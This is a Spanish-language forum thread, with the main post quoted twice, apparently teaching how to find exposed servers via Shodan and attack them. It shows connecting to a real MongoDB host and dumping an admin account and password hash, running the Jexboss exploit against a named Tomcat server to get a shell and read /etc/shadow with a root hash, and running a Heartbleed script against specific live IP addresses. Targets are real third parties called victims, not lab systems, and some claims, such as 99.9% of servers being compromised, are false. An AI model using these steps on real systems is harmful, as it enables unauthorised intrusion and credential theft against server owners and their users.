Pentesting con Shodan & Exploits funcionales

Iniciado por BrowserNet, Noviembre 07, 2016, 12:14:00 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Noviembre 07, 2016, 12:14:00 AM Ultima modificación: Noviembre 07, 2016, 12:22:28 AM por BrowserNet


Saludos hermanos de underc0de luego de un largo tiempo de vacaciones nuevamente estoy retomando el foro, es un placer nuevamente servirles como lo eh estado asiendo, aparte vi que cerraron un post mio, con unos comentarios de lamerines que ni siquiera saben lo que es un Exploit / POST-EXPLOTACION. xD

Sin mas que decir, hoy tocaremos el tema sobre "SHODAN" en su modo Pentesting, utilizando Exploits funcionales que les ayudara  a comprender y auditar servidores vulnerables que existen.

Si deseas aprender lo basico de shodan puedes visitar el siguiente enlace:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

en primer lugar antes de pasar con la metodología de explotación, tendremos un "Extra" con un gestor de base de datos "poco conocido por algunos", pero utilizados por servidores grandes & pequeños.

MONGODB:


MongoDB es un sistema de base de datos NoSQL orientado a documentos, desarrollado bajo el concepto de código abierto. MongoDB forma parte de la nueva familia de sistemas de base de datos NoSQL

fuente & más información:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

como sabemos MongoDB es un sistema de DB basado en el concepto Open source, pero porque tal gestor esta en este POST.


En su plataforma web, shodan tiene varias secciones donde podemos interactual con ellos, un claro ejemplo es "Databases":

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Podemos ver que nos muestra servicios conocidos tales como "MySQL" y "PostgreSQL" denominado (El Oracle OpenSource).

Entre otros el que utilizaremos en esta prueba de concepto "MongoDB",etc.

Ustedes poden darle "CLIP" al servicio mongoDB O simplemente utilizar su "DORK" para una búsqueda personalizada.

product:MongoDB



Podemos observar en la imagen solo nos muestra "2" resultados, que si lo leen bien tenemos lo que se le denomina "FUGA DE INFORMACIÓN".


¿Que es una fuga de información?


Son datos de información delicados o sensibles de un servicio privado que se muestra por motivos humanos o directorios mal protegidos, pero en su gran mayoria existen servicios que muestran tales datos como lo es MongoDB:


Target:
Código: php

173.208.176.236
Database Name Size
zakey 49.8 GB
local 2.1 MB
admin 1 byte

   

Tenemos: LA IP y las base de datos que nos arroja directamente, si bien sabemos que un servidor con credenciales no arroja mas halla que un panel de usuario, porque en esta busqueda nos arroja datos sensibles.

Es simple, porque al buscar el producto MongoDB, shodan empieza a recopilar la información de tal gestor de base de datos, que tiene una mala configuración de seguridad.

¿como podemos "Acceder" a los servicios vulnerables?

bueno es simple, si estas en GNU puedes instalar el servicio mongoDB de la siguiente manera:

Código: php
root@kali:~# apt-get install mongodb


una ves instalado, debemos activar el servicio de la siguiente manera:

Código: php
root@kali:~# service mongodb start


luego de activar el servicio, como puedes ver si esta activado pues es simple:

Código: php
root@kali:~# service mongodb status

   


como vemos en la imagen nuestro servicio esta activo, ahora como lo conectamos a nuestro victima.

En esta prueba de concepto nuestra victima sera:   

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Conectando al servidor de nuestra victima:

Código: php
root@kali:~# mongo --host 104.155.198.131




como vemos que nos hemos conectado al servidor por medio de la shell, ahora les enseñare el proceso de sintaxis de mongodb para poder interactuar en la base de datos.



Código: php
 > show dbs      
                - ver todas las base de datos.

Código: php
 > use shop                    
   - Escoger la base de datos para interactuar.


Código: php

> show tables   
                        - ver tas tablas de la base de datos.


Código: php
 > db.accounts.findOne() 
- Extraer todos los atributos de una tabla.

Lo primero que hice fue establecer una vista a las base de datos del servidor, posteriormente escogí la base de datos llamada "shop", luego ejecute show tables para ver todas las tablas que tiene y sin dudar dumpie los datos de la tabla "accounts" y pude obtener los atributos de dicha credencial:

Código: php
"name" : "[email protected]",
"email" : "[email protected]",
"password" :   "$2a$07$342f56c383d6bd241ed54OLVQdfEDP3jZA.PiaO8BGP3yosLCevRy",
"roles" : [
"admin"


de igual manera tu puedes editar todo los atributos de las columnas porque tienes todos los privilegios necesarios, si eres de las personas que se aburren escribiendo todo en texto plano dichas sintaxis, puedes instalar "Robomongo" - GUI para facilitarte todo este proceso:



Descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pentesting

Explotando un servidor apache obteniendo una SHELL por medio del fallo 5-5.
de tomcat.

EL fallo tiene mucho tiempo de a ver sido descubierto, hace mucho  tiempo, en mi caso hubiera elegido hacerlo por msfconsole pero me dio mucha flojera xD
ya que me hubiera gustado enseñarles como auditar un servidor apache para saber si es o no vulnerable, y explotarlo por diferentes maneras, pero creo que por mas técnicas que les enseñe, todo ese proceso puedo ser optimizado por el siguiente exploit:

"Jexboss"


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Descarga:

Código: php
root@kali:~# git clone https://github.com/joaomatosf/jexboss


Encontrar servidores vulnerables:

Server: Apache-Coyote/1.1 Tomcat-5.5



En mi caso elegí un servidor de mi país:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si desean utilizar una búsqueda personalizada pueden utilizar las siguientes dorks:

country:es           "PAÍS"
city:barcelona     "CIUDAD"
hostname:es        "DOMINIO"

ustedes pueden efectuar cualquier rango de país que deseen.

Código: php
root@kali:~#cd tomcat

root@kali:~/tomcat# python jexboss.py -host http://190.102.149.180:8080/




como vemos hemos obtenido una sesión por medio de una shell, lo que haremos sera verificar en que S.O esta corriendo, por mi parte viendo que es un ordenador peruano, suponía que seria un windows server xD!



Les dejare algo en claro, si el sistema operativo es "WINDOWS" debemos utilizar interpretes de comandos #CMD, para poder interactuar correctamente con el servidor.



Si fuese un sistema "GNU" puedes utilizar el comando "uname -a" para saber la kernel que esta utilizando, pero este exploit automáticamente te detecta y muestra el kernel.



la navegación muy diferente un ejemplo para ver los directorios y que permisos tendríamos ejecutan: ls -la.

si deseas obtener credenciales del usuario del sistema operativo utilizaremos 2 comandos:



Código: php
Shell> cat /etc/passwd - sirve para verificar los usuarios que corren en diferentes servicios.

Shell> cat /etc/shadow -dumpear credenciales de servicios principales.

Credencial:

root:$6$3cdgngze$gafERX.OCPKvDAhgp9WyriAnR/iuDBZq6WjcZxe8BaFGga/Z5Zz1cCfj7aCxrrZB20RL3j6frbVBDzCZiCa9g0:17107:0:99999:7:::

Bueno si deseas obtener la contraseña puedes hacerlo por "brute force" o simplemente ejecutando una sesión meterpreter por msfconsole y empezar a desmadrar el servidor, por un Exploit local.

Cabe decir que el exploit recientemente ha sido actualizado, con la cual se han añadido mas servicios vulnerables y un "BYPASS" sobre algunos WAF.


Exploit heartbreak


Sin duda uno de los BUG's mas peligrosos a nivel mundial, que se descubrió en el año 2014, aun recuerdo esos años con el foro BlackLastSecurity que funde con mi buen amigo, Kelvin Parra.

Empresas importantes a nivel mundial fueron victima de ataques como:
Youtube, Facebook, Google, Twitter, etc, un 99.9 % de servidores a nivel mundial fueron comprometidos en aquel entonces.
Seguimos con algunos "Tips", si bien es cierto algunas personas no han explotado un servidor con la vulnerabilidad Open SSL llamado Heartbleed.

Si deseas encontrar algunos de estos servidores vulnerables "SHODAN" te ofrece una búsqueda avanzada:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Tenemos 141,927 resultados, para que vayan experimentando este tipo de ataque.

Exploit:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Una ves descargado lo extraemos con el nombre de la carpeta "bleed", posteriormente pasaremos a ingresar a dicha carpeta.
Código: php

root@kali:~# cd bleed


modo de uso la mayoría de dispositivos encontrados trabajan con el puerto 443:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: php

root@kali:~# python heartbleed.py 209.166.152.220


Se ejecutaría de esta manera, sin el puerto por el simple hecho de tener el puerto por default


Este host corre el servicio en el puerto 8443:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces lo ejecutaríamos de esta manera:

Código: php
root@kali:~# python heartbleed.py 188.165.216.132 8443




Hemos explotado el servidor correctamente capturando el trafico de peticiones en vivo, este bug es temido porque captura el trafico de datos de peticiones de la web en su totalidad, cabe decir que si una "organización" grande como facebook en el 2014 millones de peticiones se hacían por minuto, cuantas credenciales fueron capturadas en vivo.

Ahora imagínese en empresas millonarias como PayPal, Ebay, etc el dolor de cabeza que tuvieron en aquel entonces y los millones de dolares que se perdieron.

por ultimo no quiero hacer este POST demasiado largo con otros métodos, espero haberles ayudado.

Saludos!

a mi me encantó este post e invito a cualquiera a hacerlo mas largo, de echo si alguien trabajar en explorar mas posibilidades podriamos trabajar en equipo.   ;D

saludos.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos hermanos de underc0de luego de un largo tiempo de vacaciones nuevamente estoy retomando el foro, es un placer nuevamente servirles como lo eh estado asiendo, aparte vi que cerraron un post mio, con unos comentarios de lamerines que ni siquiera saben lo que es un Exploit / POST-EXPLOTACION. xD

Sin mas que decir, hoy tocaremos el tema sobre "SHODAN" en su modo Pentesting, utilizando Exploits funcionales que les ayudara  a comprender y auditar servidores vulnerables que existen.

Si deseas aprender lo basico de shodan puedes visitar el siguiente enlace:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

en primer lugar antes de pasar con la metodología de explotación, tendremos un "Extra" con un gestor de base de datos "poco conocido por algunos", pero utilizados por servidores grandes & pequeños.

MONGODB:


MongoDB es un sistema de base de datos NoSQL orientado a documentos, desarrollado bajo el concepto de código abierto. MongoDB forma parte de la nueva familia de sistemas de base de datos NoSQL

fuente & más información:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

como sabemos MongoDB es un sistema de DB basado en el concepto Open source, pero porque tal gestor esta en este POST.


En su plataforma web, shodan tiene varias secciones donde podemos interactual con ellos, un claro ejemplo es "Databases":

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Podemos ver que nos muestra servicios conocidos tales como "MySQL" y "PostgreSQL" denominado (El Oracle OpenSource).

Entre otros el que utilizaremos en esta prueba de concepto "MongoDB",etc.

Ustedes poden darle "CLIP" al servicio mongoDB O simplemente utilizar su "DORK" para una búsqueda personalizada.

product:MongoDB



Podemos observar en la imagen solo nos muestra "2" resultados, que si lo leen bien tenemos lo que se le denomina "FUGA DE INFORMACIÓN".


¿Que es una fuga de información?


Son datos de información delicados o sensibles de un servicio privado que se muestra por motivos humanos o directorios mal protegidos, pero en su gran mayoria existen servicios que muestran tales datos como lo es MongoDB:


Target:
Código: php

173.208.176.236
Database Name Size
zakey 49.8 GB
local 2.1 MB
admin 1 byte

   

Tenemos: LA IP y las base de datos que nos arroja directamente, si bien sabemos que un servidor con credenciales no arroja mas halla que un panel de usuario, porque en esta busqueda nos arroja datos sensibles.

Es simple, porque al buscar el producto MongoDB, shodan empieza a recopilar la información de tal gestor de base de datos, que tiene una mala configuración de seguridad.

¿como podemos "Acceder" a los servicios vulnerables?

bueno es simple, si estas en GNU puedes instalar el servicio mongoDB de la siguiente manera:

Código: php
root@kali:~# apt-get install mongodb


una ves instalado, debemos activar el servicio de la siguiente manera:

Código: php
root@kali:~# service mongodb start


luego de activar el servicio, como puedes ver si esta activado pues es simple:

Código: php
root@kali:~# service mongodb status

   


como vemos en la imagen nuestro servicio esta activo, ahora como lo conectamos a nuestro victima.

En esta prueba de concepto nuestra victima sera:   

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Conectando al servidor de nuestra victima:

Código: php
root@kali:~# mongo --host 104.155.198.131




como vemos que nos hemos conectado al servidor por medio de la shell, ahora les enseñare el proceso de sintaxis de mongodb para poder interactuar en la base de datos.



Código: php
 > show dbs      
                - ver todas las base de datos.

Código: php
 > use shop                    
   - Escoger la base de datos para interactuar.


Código: php

> show tables   
                        - ver tas tablas de la base de datos.


Código: php
 > db.accounts.findOne() 
- Extraer todos los atributos de una tabla.

Lo primero que hice fue establecer una vista a las base de datos del servidor, posteriormente escogí la base de datos llamada "shop", luego ejecute show tables para ver todas las tablas que tiene y sin dudar dumpie los datos de la tabla "accounts" y pude obtener los atributos de dicha credencial:

Código: php
"name" : "[email protected]",
"email" : "[email protected]",
"password" :   "$2a$07$342f56c383d6bd241ed54OLVQdfEDP3jZA.PiaO8BGP3yosLCevRy",
"roles" : [
"admin"


de igual manera tu puedes editar todo los atributos de las columnas porque tienes todos los privilegios necesarios, si eres de las personas que se aburren escribiendo todo en texto plano dichas sintaxis, puedes instalar "Robomongo" - GUI para facilitarte todo este proceso:



Descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pentesting

Explotando un servidor apache obteniendo una SHELL por medio del fallo 5-5.
de tomcat.

EL fallo tiene mucho tiempo de a ver sido descubierto, hace mucho  tiempo, en mi caso hubiera elegido hacerlo por msfconsole pero me dio mucha flojera xD
ya que me hubiera gustado enseñarles como auditar un servidor apache para saber si es o no vulnerable, y explotarlo por diferentes maneras, pero creo que por mas técnicas que les enseñe, todo ese proceso puedo ser optimizado por el siguiente exploit:

"Jexboss"


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Descarga:

Código: php
root@kali:~# git clone https://github.com/joaomatosf/jexboss


Encontrar servidores vulnerables:

Server: Apache-Coyote/1.1 Tomcat-5.5



En mi caso elegí un servidor de mi país:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si desean utilizar una búsqueda personalizada pueden utilizar las siguientes dorks:

country:es           "PAÍS"
city:barcelona     "CIUDAD"
hostname:es        "DOMINIO"

ustedes pueden efectuar cualquier rango de país que deseen.

Código: php
root@kali:~#cd tomcat

root@kali:~/tomcat# python jexboss.py -host http://190.102.149.180:8080/




como vemos hemos obtenido una sesión por medio de una shell, lo que haremos sera verificar en que S.O esta corriendo, por mi parte viendo que es un ordenador peruano, suponía que seria un windows server xD!



Les dejare algo en claro, si el sistema operativo es "WINDOWS" debemos utilizar interpretes de comandos #CMD, para poder interactuar correctamente con el servidor.



Si fuese un sistema "GNU" puedes utilizar el comando "uname -a" para saber la kernel que esta utilizando, pero este exploit automáticamente te detecta y muestra el kernel.



la navegación muy diferente un ejemplo para ver los directorios y que permisos tendríamos ejecutan: ls -la.

si deseas obtener credenciales del usuario del sistema operativo utilizaremos 2 comandos:



Código: php
Shell> cat /etc/passwd - sirve para verificar los usuarios que corren en diferentes servicios.

Shell> cat /etc/shadow -dumpear credenciales de servicios principales.

Credencial:

root:$6$3cdgngze$gafERX.OCPKvDAhgp9WyriAnR/iuDBZq6WjcZxe8BaFGga/Z5Zz1cCfj7aCxrrZB20RL3j6frbVBDzCZiCa9g0:17107:0:99999:7:::

Bueno si deseas obtener la contraseña puedes hacerlo por "brute force" o simplemente ejecutando una sesión meterpreter por msfconsole y empezar a desmadrar el servidor, por un Exploit local.

Cabe decir que el exploit recientemente ha sido actualizado, con la cual se han añadido mas servicios vulnerables y un "BYPASS" sobre algunos WAF.


Exploit heartbreak


Sin duda uno de los BUG's mas peligrosos a nivel mundial, que se descubrió en el año 2014, aun recuerdo esos años con el foro BlackLastSecurity que funde con mi buen amigo, Kelvin Parra.

Empresas importantes a nivel mundial fueron victima de ataques como:
Youtube, Facebook, Google, Twitter, etc, un 99.9 % de servidores a nivel mundial fueron comprometidos en aquel entonces.
Seguimos con algunos "Tips", si bien es cierto algunas personas no han explotado un servidor con la vulnerabilidad Open SSL llamado Heartbleed.

Si deseas encontrar algunos de estos servidores vulnerables "SHODAN" te ofrece una búsqueda avanzada:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Tenemos 141,927 resultados, para que vayan experimentando este tipo de ataque.

Exploit:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Una ves descargado lo extraemos con el nombre de la carpeta "bleed", posteriormente pasaremos a ingresar a dicha carpeta.
Código: php

root@kali:~# cd bleed


modo de uso la mayoría de dispositivos encontrados trabajan con el puerto 443:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: php

root@kali:~# python heartbleed.py 209.166.152.220


Se ejecutaría de esta manera, sin el puerto por el simple hecho de tener el puerto por default


Este host corre el servicio en el puerto 8443:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces lo ejecutaríamos de esta manera:

Código: php
root@kali:~# python heartbleed.py 188.165.216.132 8443




Hemos explotado el servidor correctamente capturando el trafico de peticiones en vivo, este bug es temido porque captura el trafico de datos de peticiones de la web en su totalidad, cabe decir que si una "organización" grande como facebook en el 2014 millones de peticiones se hacían por minuto, cuantas credenciales fueron capturadas en vivo.

Ahora imagínese en empresas millonarias como PayPal, Ebay, etc el dolor de cabeza que tuvieron en aquel entonces y los millones de dolares que se perdieron.

por ultimo no quiero hacer este POST demasiado largo con otros métodos, espero haberles ayudado.

Saludos!
Hola, esto esta interesante, la pregunta es: ¿Tienes cuenta premium de shodan?. Pues, si bien yo tengo cuenta "gratuita" no me deja hacer consultas con filtros vuln :'(

por alguna razon nunca habia visto este post pero est a buenisimo no se como no lo vi antes! gracias por el aporte